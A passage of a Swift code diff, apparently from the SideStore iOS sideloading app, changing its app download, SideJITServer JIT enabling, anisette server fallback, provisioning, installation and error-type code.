} else if let maxOSVersion = version.maxOSVersion, ProcessInfo.processInfo.operatingSystemVersion > maxOSVersion {
throw VerificationError.iOSVersionNotSupported(app: storeApp, requiredOSVersion: maxOSVersion)
}
return version
}
func download(@Managed _ app: AppProtocol) {
guard let sourceURL = self.sourceURL else { return self.finish(.failure(OperationError.appNotFound(name: self.appName))) }
self.downloadIPA(from: sourceURL) { result in
do
{
let application = try result.get()
@@ -112,24 +156,7 @@ final class DownloadAppOperation: ResultOperation<ALTApplication>
}
}
override func finish(_ result: Result<ALTApplication, Error>)
{
do
{
try FileManager.default.removeItem(at: self.temporaryDirectory)
}
catch
{
print("Failed to remove DownloadAppOperation temporary directory: \(self.temporaryDirectory).", error)
}
super.finish(result)
}
}
private extension DownloadAppOperation
{
func downloadApp(from sourceURL: URL, completionHandler: @escaping (Result<ALTApplication, Error>) -> Void)
func downloadIPA(from sourceURL: URL, completionHandler: @escaping (Result<ALTApplication, Error>) -> Void)
{
func finishOperation(_ result: Result<URL, Error>)
{
@@ -138,8 +165,8 @@ private extension DownloadAppOperation
let fileURL = try result.get()
var isDirectory: ObjCBool = false
guard FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDirectory) else { throw OperationError.appNotFound }
guard FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDirectory) else { throw OperationError.appNotFound(name: self.appName) }
try FileManager.default.createDirectory(at: self.temporaryDirectory, withIntermediateDirectories: true, attributes: nil)
let appBundleURL: URL
@@ -178,6 +205,9 @@ private extension DownloadAppOperation
let downloadTask = self.session.downloadTask(with: sourceURL) { (fileURL, response, error) in
do
{
if let response = response as? HTTPURLResponse {
guard response.statusCode != 404 else { throw CocoaError(.fileNoSuchFile, userInfo: [NSURLErrorKey: sourceURL]) }
}
let (fileURL, _) = try Result((fileURL, response), error).get()
finishOperation(.success(fileURL))
@@ -252,7 +282,7 @@ private extension DownloadAppOperation
let altstorePlist = try PropertyListDecoder().decode(AltStorePlist.self, from: data)
var dependencyURLs = Set<URL>()
var dependencyError: DependencyError?
var dependencyError: Error?
let dispatchGroup = DispatchGroup()
let progress = Progress(totalUnitCount: Int64(altstorePlist.dependencies.count), parent: self.progress, pendingUnitCount: 1)
@@ -285,7 +315,7 @@ private extension DownloadAppOperation
}
catch let error as DecodingError
{
let nsError = (error as NSError).withLocalizedFailure(String(format: NSLocalizedString("Could not download dependencies for %@.", comment: ""), application.name))
let nsError = (error as NSError).withLocalizedFailure(String(format: NSLocalizedString("Could not determine dependencies for %@.", comment: ""), application.name))
completionHandler(.failure(nsError))
}
catch
@@ -294,7 +324,7 @@ private extension DownloadAppOperation
}
}
func download(_ dependency: Dependency, for application: ALTApplication, progress: Progress, completionHandler: @escaping (Result<URL, DependencyError>) -> Void)
func download(_ dependency: Dependency, for application: ALTApplication, progress: Progress, completionHandler: @escaping (Result<URL, Error>) -> Void)
{
let downloadTask = self.session.downloadTask(with: dependency.downloadURL) { (fileURL, response, error) in
do
@@ -315,9 +345,10 @@ private extension DownloadAppOperation
completionHandler(.success(destinationURL))
}
catch
catch let error as NSError
{
completionHandler(.failure(DependencyError(dependency: dependency, error: error)))
let localizedFailure = String(format: NSLocalizedString("The dependency '%@' could not be downloaded.", comment: ""), dependency.preferredFilename)
completionHandler(.failure(error.withLocalizedFailure(localizedFailure)))
}
}
progress.addChild(downloadTask.progress, withPendingUnitCount: 1)

View File

@@ -9,9 +9,17 @@
import UIKit
import Combine
import minimuxer
import UniformTypeIdentifiers
import AltStoreCore
enum SideJITServerErrorType: Error {
case invalidURL
case errorConnecting
case deviceNotFound
case other(String)
}
@available(iOS 14, *)
protocol EnableJITContext
{
@@ -42,16 +50,108 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
return
}
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
installedApp.managedObjectContext?.perform {
do {
try debug_app(installedApp.resignedBundleIdentifier)
} catch {
return self.finish(.failure(error))
}
guard let installedApp = self.context.installedApp else {
return self.finish(.failure(OperationError.invalidParameters("EnableJITOperation.main: self.context.installedApp is nil")))
}
if #available(iOS 17, *) {
let sideJITenabled = UserDefaults.standard.sidejitenable
let SideJITIP = UserDefaults.standard.textInputSideJITServerurl ?? ""
self.finish(.success(()))
if sideJITenabled {
installedApp.managedObjectContext?.perform {
EnableJITSideJITServer(serverurl: SideJITIP, installedapp: installedApp) { result in
switch result {
case .failure(let error):
switch error {
case .invalidURL, .errorConnecting:
self.finish(.failure(OperationError.unableToConnectSideJIT))
case .deviceNotFound:
self.finish(.failure(OperationError.unableToRespondSideJITDevice))
case .other(let message):
if let startRange = message.range(of: "<p>"),
let endRange = message.range(of: "</p>", range: startRange.upperBound..<message.endIndex) {
let pContent = message[startRange.upperBound..<endRange.lowerBound]
self.finish(.failure(OperationError.SideJITIssue(error: String(pContent))))
print(message + " + " + String(pContent))
} else {
print(message)
self.finish(.failure(OperationError.SideJITIssue(error: message)))
}
}
case .success():
self.finish(.success(()))
print("Thank you for using this, it was made by Stossy11 and tested by trolley or sniper1239408")
}
}
return
}
}
} else {
installedApp.managedObjectContext?.perform {
var retries = 3
while (retries > 0){
do {
try debug_app(installedApp.resignedBundleIdentifier)
self.finish(.success(()))
retries = 0
} catch {
retries -= 1
if (retries <= 0){
self.finish(.failure(error))
}
}
}
}
}
}
}
@available(iOS 17, *)
func EnableJITSideJITServer(serverurl: String, installedapp: InstalledApp, completion: @escaping (Result<Void, SideJITServerErrorType>) -> Void) {
guard let udid = fetch_udid()?.toString() else {
completion(.failure(.other("Unable to get UDID")))
return
}
var SJSURL = serverurl
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
SJSURL = "http://sidejitserver._http._tcp.local:8080"
}
if !SJSURL.hasPrefix("http") {
completion(.failure(.invalidURL))
return
}
let fullurl = SJSURL + "/\(udid)/" + installedapp.resignedBundleIdentifier
let url = URL(string: fullurl)!
let task = URLSession.shared.dataTask(with: url) {(data, response, error) in
if let error = error {
completion(.failure(.errorConnecting))
return
}
guard let data = data, let datastring = String(data: data, encoding: .utf8) else { return }
if datastring == "Enabled JIT for '\(installedapp.name)'!" {
let content = UNMutableNotificationContent()
content.title = "JIT Successfully Enabled"
content.subtitle = "JIT Enabled For \(installedapp.name)"
content.sound = UNNotificationSound.default
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: 0.1, repeats: false)
let request = UNNotificationRequest(identifier: "EnabledJIT", content: content, trigger: nil)
UNUserNotificationCenter.current().add(request)
completion(.success(()))
} else {
let errorType: SideJITServerErrorType = datastring == "Could not find device!" ? .deviceNotFound : .other(datastring)
completion(.failure(errorType))
}
}
task.resume()
}

View File

@@ -45,17 +45,122 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
return
}
self.url = AnisetteManager.currentURL
print("Anisette URL: \(self.url!.absoluteString)")
// TODO: Pass in proper view context to show the Toast messages
let viewContext = context.presentingViewController
if let identifier = Keychain.shared.identifier,
let adiPb = Keychain.shared.adiPb {
fetchAnisetteV3(identifier, adiPb)
} else {
provision()
getAnisetteServerUrl(viewContext){ url, error in
guard let urlString = url else {
self.finish(.failure(error!))
return
}
// set as preferred
UserDefaults.standard.menuAnisetteURL = urlString
let url = URL(string: urlString)
self.url = url
print("Anisette URL: \(self.url!.absoluteString)")
if let identifier = Keychain.shared.identifier,
let adiPb = Keychain.shared.adiPb {
self.fetchAnisetteV3(identifier, adiPb)
} else {
self.provision()
}
}
}
func getAnisetteServerUrl(_ viewContext: UIViewController?, completion: @escaping (String?, Error?) -> Void) {
var serverUrls = UserDefaults.standard.menuAnisetteServersList
let currentServer = UserDefaults.standard.menuAnisetteURL
// Prioritize the current server by moving it to the top of the list
if let currentServerIndex = serverUrls.firstIndex(of: currentServer) {
serverUrls.remove(at: currentServerIndex)
serverUrls.insert(currentServer, at: 0)
}
tryNextServer(from: serverUrls, viewContext, currentIndex: 0, completion: completion)
}
private func showToast(viewContext: UIViewController?, message: String){
if let viewContext = viewContext{
let error = OperationError.anisetteV1Error(message: message)
let toastView = ToastView(error: error)
// toastView.textLabel.textColor = .altPrimary
// toastView.detailTextLabel.textColor = .altPrimary
DispatchQueue.main.async {
toastView.show(in: viewContext)
}
}
}
private func tryNextServer(from serverUrls: [String], _ viewContext: UIViewController?,currentIndex: Int, completion: @escaping (String?, Error?) -> Void) {
// Check if all URLs have been exhausted
guard currentIndex < serverUrls.count else {
let error = NSError(domain: "AnisetteError", code: 0, userInfo: [NSLocalizedDescriptionKey: "No valid server found."])
completion(nil, error)
return
}
let currentServerUrlString = serverUrls[currentIndex]
guard let url = URL(string: currentServerUrlString) else {
// Invalid URL, skip to next
let errmsg = "Skipping invalid URL: \(currentServerUrlString)"
print(errmsg)
showToast(viewContext: viewContext, message: errmsg)
tryNextServer(from: serverUrls, viewContext, currentIndex: currentIndex + 1, completion: completion)
return
}
// Attempt to ping the current URL
pingServer(url) { success, error in
if success {
// If the server is reachable, return the URL
let okmsg = "Found working server: \(url.absoluteString)"
print(okmsg)
if(currentIndex > 0){
// notify user if available server is different the user-specified one
self.showToast(viewContext: viewContext, message: okmsg)
}
completion(url.absoluteString, nil)
} else {
// If not, try the next URL
let errmsg = "Failed to reach server: \(url.absoluteString), trying next server."
print(errmsg)
self.showToast(viewContext: viewContext, message: errmsg)
self.tryNextServer(from: serverUrls, viewContext, currentIndex: currentIndex + 1, completion: completion)
}
}
}
func pingServer(_ url: URL, completion: @escaping (Bool, Error?) -> Void) {
var request = URLRequest(url: url)
request.timeoutInterval = 10 // Timeout after 10 seconds
let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
if let error = error {
completion(false, error)
return
}
let httpResponse = response as? HTTPURLResponse
let statusCode = httpResponse?.statusCode
guard let statusCode = statusCode,
(200...299).contains(statusCode) else {
let serverError = OperationError.anisetteV3Error(message: "Server unreachable or invalid response: \(String(describing: statusCode ?? nil))")
completion(false, serverError)
return
}
completion(true, nil)
}
task.resume()
}
// MARK: - COMMON
func extractAnisetteData(_ data: Data, _ response: HTTPURLResponse?, v3: Bool) throws {
@@ -156,8 +261,14 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
self.finish(.failure(OperationError.cancelled))
}))
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
DispatchQueue.main.async {
UIApplication.topController?.present(alert, animated: true)
if let presentingController = keyWindow?.rootViewController?.presentedViewController {
presentingController.present(alert, animated: true)
} else {
keyWindow?.rootViewController?.present(alert, animated: true)
}
}
}
@@ -212,7 +323,7 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
self.socket.connect()
}
func didReceive(event: WebSocketEvent, client: WebSocket) {
func didReceive(event: WebSocketEvent, client: WebSocketClient) {
switch event {
case .text(let string):
do {
@@ -402,6 +513,7 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
func fetchAnisetteV3(_ identifier: String, _ adiPb: String) {
fetchClientInfo {
print("Fetching anisette V3")
let url = UserDefaults.standard.menuAnisetteURL
var request = URLRequest(url: self.url!.appendingPathComponent("v3").appendingPathComponent("get_headers"))
request.httpMethod = "POST"
request.httpBody = try! JSONSerialization.data(withJSONObject: [
@@ -423,7 +535,7 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
}
}
extension WebSocket {
extension WebSocketClient {
func json(_ dictionary: [String: String]) {
let data = try! JSONSerialization.data(withJSONObject: dictionary, options: [])
self.write(string: String(data: data, encoding: .utf8)!)

View File

@@ -39,7 +39,9 @@ final class FetchAppIDsOperation: ResultOperation<([AppID], NSManagedObjectConte
guard
let team = self.context.team,
let session = self.context.session
else { return self.finish(.failure(OperationError.invalidParameters)) }
else {
return self.finish(.failure(OperationError.invalidParameters("FetchAppIDsOperation.main: self.context.team or self.context.session is nil")))
}
ALTAppleAPI.shared.fetchAppIDs(for: team, session: session) { (appIDs, error) in
self.managedObjectContext.perform {

View File

@@ -43,10 +43,11 @@ final class FetchProvisioningProfilesOperation: ResultOperation<[String: ALTProv
guard
let team = self.context.team,
let session = self.context.session
else { return self.finish(.failure(OperationError.invalidParameters)) }
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
else {
return self.finish(.failure(OperationError.invalidParameters("FetchProvisioningProfilesOperation.main: self.context.team or self.context.session is nil"))) }
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound(name: nil))) }
self.progress.totalUnitCount = Int64(1 + app.appExtensions.count)
self.prepareProvisioningProfile(for: app, parentApp: nil, team: team, session: session) { (result) in
@@ -260,7 +261,7 @@ extension FetchProvisioningProfilesOperation
{
if let expirationDate = sortedExpirationDates.first
{
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
throw OperationError.maximumAppIDLimitReached(appName: application.name, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
}
else
{
@@ -290,7 +291,7 @@ extension FetchProvisioningProfilesOperation
{
if let expirationDate = sortedExpirationDates.first
{
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
throw OperationError.maximumAppIDLimitReached(appName: application.name, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
}
else
{
@@ -298,6 +299,19 @@ extension FetchProvisioningProfilesOperation
}
}
}
catch ALTAppleAPIError.bundleIdentifierUnavailable {
ALTAppleAPI.shared.fetchAppIDs(for: team, session: session) {res, err in
if let err = err {
return completionHandler(.failure(err))
}
guard let res = res else {return completionHandler(.failure(ALTError(.unknown)))}
for appid in res {
if appid.bundleIdentifier == bundleIdentifier {
completionHandler(.success(appid))
}
}
}
}
catch
{
completionHandler(.failure(error))
@@ -362,7 +376,9 @@ extension FetchProvisioningProfilesOperation
}
}
if updateFeatures
appID.entitlements = entitlements
if updateFeatures || true
{
let appID = appID.copy() as! ALTAppID
appID.features = features

View File

@@ -10,7 +10,11 @@ import Foundation
private extension URL
{
#if STAGING
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
#else
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
#endif
}
extension FetchTrustedSourcesOperation

View File

@@ -41,12 +41,16 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
guard
let certificate = self.context.certificate,
let resignedApp = self.context.resignedApp
else { return self.finish(.failure(OperationError.invalidParameters)) }
let resignedApp = self.context.resignedApp,
let provisioningProfiles = self.context.provisioningProfiles
else {
return self.finish(.failure(OperationError.invalidParameters("InstallAppOperation.main: self.context.certificate or self.context.resignedApp or self.context.provisioningProfiles is nil")))
}
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
backgroundContext.perform {
/* App */
let installedApp: InstalledApp
@@ -110,14 +114,29 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
}
installedApp.appExtensions = installedExtensions
// Remove stale "PlugIns" (Extensions) from currently installed App
if let installedAppExns = ALTApplication(fileURL: installedApp.fileURL)?.appExtensions {
let currentAppExns = Set(installedApp.appExtensions).map{ $0.bundleIdentifier }
let staleAppExns = installedAppExns.filter{ !currentAppExns.contains($0.bundleIdentifier) }
for staleAppExn in staleAppExns {
do {
try FileManager.default.removeItem(at: staleAppExn.fileURL)
print("InstallAppOperation.appExtensions: removed stale app-extension: \(staleAppExn.fileURL)")
} catch {
print("InstallAppOperation.appExtensions processing error Error: \(error)")
}
}
}
self.context.beginInstallationHandler?(installedApp)
// Temporary directory and resigned .ipa no longer needed, so delete them now to ensure AltStore doesn't quit before we get the chance to.
self.cleanUp()
var activeProfiles: Set<String>?
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit, provisioningProfiles.contains(where: { $1.isFreeProvisioningProfile == true })
{
// When installing these new profiles, AltServer will remove all non-active profiles to ensure we remain under limit.
@@ -142,15 +161,14 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
installedApp.isActive = false
}
}
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
})
}
else
{
installedApp.isActive = true
}
var installing = true
if installedApp.storeApp?.bundleIdentifier == Bundle.Info.appbundleIdentifier {
if installedApp.storeApp?.bundleIdentifier.range(of: Bundle.Info.appbundleIdentifier) != nil {
// Reinstalling ourself will hang until we leave the app, so we need to exit it without force closing
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
if UIApplication.shared.applicationState != .active {
@@ -162,55 +180,52 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
return
}
print("We are still installing after 3 seconds")
UNUserNotificationCenter.current().getNotificationSettings { settings in
switch (settings.authorizationStatus) {
case .authorized, .ephemeral, .provisional:
print("Notifications are enabled")
let content = UNMutableNotificationContent()
content.title = "Refreshing..."
content.body = "To finish refreshing, SideStore must be moved to the background, which it does by opening Safari. Please reopen SideStore after it is done refreshing!"
content.body = "SideStore will automatically move to the homescreen to finish refreshing!"
let notification = UNNotificationRequest(identifier: Bundle.Info.appbundleIdentifier + ".FinishRefreshNotification", content: content, trigger: UNTimeIntervalNotificationTrigger(timeInterval: 2, repeats: false))
UNUserNotificationCenter.current().add(notification)
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
break
default:
print("Notifications are not enabled")
let alert = UIAlertController(title: "Finish Refresh", message: "To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen or open Safari by pressing Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
let alert = UIAlertController(title: "Finish Refresh", message: "Please reopen SideStore after the process is finished.To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen manually or by hitting Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
alert.addAction(UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default, handler: { _ in
print("Opening Safari")
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
print("Going home")
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
}))
DispatchQueue.main.async {
if var topController = UIApplication.topController {
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
if var topController = keyWindow?.rootViewController {
while let presentedViewController = topController.presentedViewController {
topController = presentedViewController
}
topController.present(alert, animated: true)
} else {
print("No key window? Let's just open Safari")
UIApplication.shared.open(URL(string: "x-web-search://")!)
print("No key window? Let's just go home")
}
}
break
}
}
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
}
}
do {
try install_ipa(installedApp.bundleIdentifier)
installing = false
} catch {
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
} catch let error {
installing = false
return self.finish(.failure(error))
self.finish(.failure(error))
}
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
}
}
@@ -225,8 +240,10 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
do
{
try FileManager.default.removeItem(at: fileURL)
print("Removed refreshed IPA")
if(FileManager.default.fileExists(atPath: fileURL.path)){
try FileManager.default.removeItem(at: fileURL)
print("Removed refreshed IPA")
}
}
catch
{

View File

@@ -12,7 +12,10 @@ import Roxas
class ResultOperation<ResultType>: Operation
{
var resultHandler: ((Result<ResultType, Error>) -> Void)?
// Should only be set by subclasses
var localizedFailure: String?
@available(*, unavailable)
override func finish()
{
@@ -22,16 +25,20 @@ class ResultOperation<ResultType>: Operation
func finish(_ result: Result<ResultType, Error>)
{
guard !self.isFinished else { return }
var result = result
if self.isCancelled
{
self.resultHandler?(.failure(OperationError.cancelled))
result = .failure(OperationError.cancelled)
}
else
{
self.resultHandler?(result)
else if case .failure(let nsError as NSError) = result, let localizedFailure, nsError.localizedFailure == nil {
// Error doesn't have its own localizedFailure, so we give it the Operation's (if it exists)
let error = nsError.withLocalizedFailure(localizedFailure)
result = .failure(error)
}
self.resultHandler?(result)
super.finish()
}
}

View File

@@ -8,64 +8,202 @@
import Foundation
import AltSign
import AltStoreCore
import minimuxer
enum OperationError: LocalizedError
extension OperationError
{
static let domain = OperationError.unknown._domain
enum Code: Int, ALTErrorCode, CaseIterable {
typealias Error = OperationError
// General
case unknown = 1000
case unknownResult
case cancelled
case timedOut
case unableToConnectSideJIT
case unableToRespondSideJITDevice
case wrongSideJITIP
case SideJITIssue // (error: String)
case refreshsidejit
case notAuthenticated
case appNotFound
case unknownUDID
case invalidApp
case invalidParameters
case maximumAppIDLimitReached//((application: ALTApplication, requiredAppIDs: Int, availableAppIDs: Int, nextExpirationDate: Date)
case noSources
case openAppFailed//(name: String)
case missingAppGroup
case refreshAppFailed
// Connection
case noWiFi = 1200
case tooNewError
case anisetteV1Error//(message: String)
case provisioningError//(result: String, message: String?)
case anisetteV3Error//(message: String)
case cacheClearError//(errors: [String])
}
static let unknownResult: OperationError = .init(code: .unknownResult)
static let cancelled: OperationError = .init(code: .cancelled)
static let timedOut: OperationError = .init(code: .timedOut)
static let unableToConnectSideJIT: OperationError = .init(code: .unableToConnectSideJIT)
static let unableToRespondSideJITDevice: OperationError = .init(code: .unableToRespondSideJITDevice)
static let wrongSideJITIP: OperationError = .init(code: .wrongSideJITIP)
static let notAuthenticated: OperationError = .init(code: .notAuthenticated)
static let unknownUDID: OperationError = .init(code: .unknownUDID)
static let invalidApp: OperationError = .init(code: .invalidApp)
static let noSources: OperationError = .init(code: .noSources)
static let missingAppGroup: OperationError = .init(code: .missingAppGroup)
static let noWiFi: OperationError = .init(code: .noWiFi)
static let tooNewError: OperationError = .init(code: .tooNewError)
static let provisioningError: OperationError = .init(code: .provisioningError)
static let anisetteV1Error: OperationError = .init(code: .anisetteV1Error)
static let anisetteV3Error: OperationError = .init(code: .anisetteV3Error)
static let cacheClearError: OperationError = .init(code: .cacheClearError)
static func unknown(failureReason: String? = nil, file: String = #fileID, line: UInt = #line) -> OperationError {
OperationError(code: .unknown, failureReason: failureReason, sourceFile: file, sourceLine: line)
}
static func appNotFound(name: String?) -> OperationError {
OperationError(code: .appNotFound, appName: name)
}
static func openAppFailed(name: String?) -> OperationError {
OperationError(code: .openAppFailed, appName: name)
}
static let domain = OperationError(code: .unknown)._domain
case unknown
case unknownResult
case cancelled
case timedOut
static func SideJITIssue(error: String?) -> OperationError {
var o = OperationError(code: .SideJITIssue)
o.errorFailure = error
return o
}
case notAuthenticated
case appNotFound
case unknownUDID
case invalidApp
case invalidParameters
case maximumAppIDLimitReached(application: ALTApplication, requiredAppIDs: Int, availableAppIDs: Int, nextExpirationDate: Date)
case noSources
case openAppFailed(name: String)
case missingAppGroup
case anisetteV1Error(message: String)
case provisioningError(result: String, message: String?)
case anisetteV3Error(message: String)
var failureReason: String? {
switch self {
case .unknown: return NSLocalizedString("An unknown error occured.", comment: "")
static func maximumAppIDLimitReached(appName: String, requiredAppIDs: Int, availableAppIDs: Int, expirationDate: Date) -> OperationError {
OperationError(code: .maximumAppIDLimitReached, appName: appName, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
}
static func provisioningError(result: String, message: String?) -> OperationError {
var o = OperationError(code: .provisioningError, failureReason: result)
o.errorTitle = message
return o
}
static func cacheClearError(errors: [String]) -> OperationError {
OperationError(code: .cacheClearError, failureReason: errors.joined(separator: "\n"))
}
static func anisetteV1Error(message: String) -> OperationError {
OperationError(code: .anisetteV1Error, failureReason: message)
}
static func anisetteV3Error(message: String) -> OperationError {
OperationError(code: .anisetteV3Error, failureReason: message)
}
static func refreshAppFailed(message: String) -> OperationError {
OperationError(code: .refreshAppFailed, failureReason: message)
}
static func invalidParameters(_ message: String? = nil) -> OperationError {
OperationError(code: .invalidParameters, failureReason: message)
}
}
struct OperationError: ALTLocalizedError {
let code: Code
var errorTitle: String?
var errorFailure: String?
var appName: String?
var requiredAppIDs: Int?
var availableAppIDs: Int?
var expirationDate: Date?
var sourceFile: String?
var sourceLine: UInt?
private var _failureReason: String?
private init(code: Code, failureReason: String? = nil,
appName: String? = nil, requiredAppIDs: Int? = nil, availableAppIDs: Int? = nil,
expirationDate: Date? = nil, sourceFile: String? = nil, sourceLine: UInt? = nil){
self.code = code
self._failureReason = failureReason
self.appName = appName
self.requiredAppIDs = requiredAppIDs
self.availableAppIDs = availableAppIDs
self.expirationDate = expirationDate
self.sourceFile = sourceFile
self.sourceLine = sourceLine
}
var errorFailureReason: String {
switch self.code {
case .unknown:
var failureReason = self._failureReason ?? NSLocalizedString("An unknown error occurred.", comment: "")
guard let sourceFile, let sourceLine else { return failureReason }
failureReason += " (\(sourceFile) line \(sourceLine)"
return failureReason
case .unknownResult: return NSLocalizedString("The operation returned an unknown result.", comment: "")
case .cancelled: return NSLocalizedString("The operation was cancelled.", comment: "")
case .timedOut: return NSLocalizedString("The operation timed out.", comment: "")
case .notAuthenticated: return NSLocalizedString("You are not signed in.", comment: "")
case .appNotFound: return NSLocalizedString("App not found.", comment: "")
case .unknownUDID: return NSLocalizedString("Unknown device UDID.", comment: "")
case .invalidApp: return NSLocalizedString("The app is invalid.", comment: "")
case .invalidParameters: return NSLocalizedString("Invalid parameters.", comment: "")
case .unknownUDID: return NSLocalizedString("SideStore could not determine this device's UDID.", comment: "")
case .invalidApp: return NSLocalizedString("The app is in an invalid format.", comment: "")
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs within a 7 day period.", comment: "")
case .noSources: return NSLocalizedString("There are no SideStore sources.", comment: "")
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be accessed.", comment: "")
case .appNotFound:
let appName = self.appName ?? NSLocalizedString("The app", comment: "")
return String(format: NSLocalizedString("%@ could not be found.", comment: ""), appName)
case .openAppFailed:
let appName = self.appName ?? NSLocalizedString("The app", comment: "")
return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), appName)
case .noWiFi: return NSLocalizedString("You do not appear to be connected to WiFi and/or the WireGuard VPN!\nSideStore will never be able to install or refresh applications without WiFi and the WireGuard VPN.", comment: "")
case .tooNewError: return NSLocalizedString("iOS 17 has changed how JIT is enabled therefore SideStore cannot enable it without SideJITServer at this time, sorry for any inconvenience.\nWe will let everyone know once we have a solution!", comment: "")
case .unableToConnectSideJIT: return NSLocalizedString("Unable to connect to SideJITServer Please check that you are on the Same Wi-Fi and your Firewall has been set correctly", comment: "")
case .unableToRespondSideJITDevice: return NSLocalizedString("SideJITServer is unable to connect to your iDevice Please make sure you have paired your Device by doing 'SideJITServer -y' or try Refreshing SideJITServer from Settings", comment: "")
case .wrongSideJITIP: return NSLocalizedString("Incorrect SideJITServer IP Please make sure that you are on the Samw Wifi as SideJITServer", comment: "")
case .refreshsidejit: return NSLocalizedString("Unable to find App Please try Refreshing SideJITServer from Settings", comment: "")
case .anisetteV1Error: return NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: "")
case .provisioningError: return NSLocalizedString("An error occurred when provisioning: %@ %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: "")
case .anisetteV3Error: return NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: "")
case .cacheClearError: return NSLocalizedString("An error occurred while clearing cache: %@", comment: "")
case .SideJITIssue: return NSLocalizedString("An error occurred while using SideJIT: %@", comment: "")
case .refreshAppFailed:
let message = self._failureReason ?? ""
return String(format: NSLocalizedString("Unable to refresh App\n%@", comment: ""), message)
case .invalidParameters:
let message = self._failureReason.map { ": \n\($0)" } ?? "."
return String(format: NSLocalizedString("Invalid parameters%@", comment: ""), message)
}
}
var recoverySuggestion: String? {
switch self
switch self.code
{
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
case .noWiFi: return NSLocalizedString("Make sure the VPN is toggled on and you are connected to any WiFi network!", comment: "")
case .maximumAppIDLimitReached:
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
let message: String
guard let appName, let requiredAppIDs, let availableAppIDs, let expirationDate else { return baseMessage }
var message: String
if requiredAppIDs > 1
{
let availableText: String
@@ -77,23 +215,23 @@ enum OperationError: LocalizedError
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
}
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
message = prefixMessage + " " + baseMessage
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), appName, NSNumber(value: requiredAppIDs), availableText)
message = prefixMessage + " " + baseMessage + "\n\n"
}
else
{
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
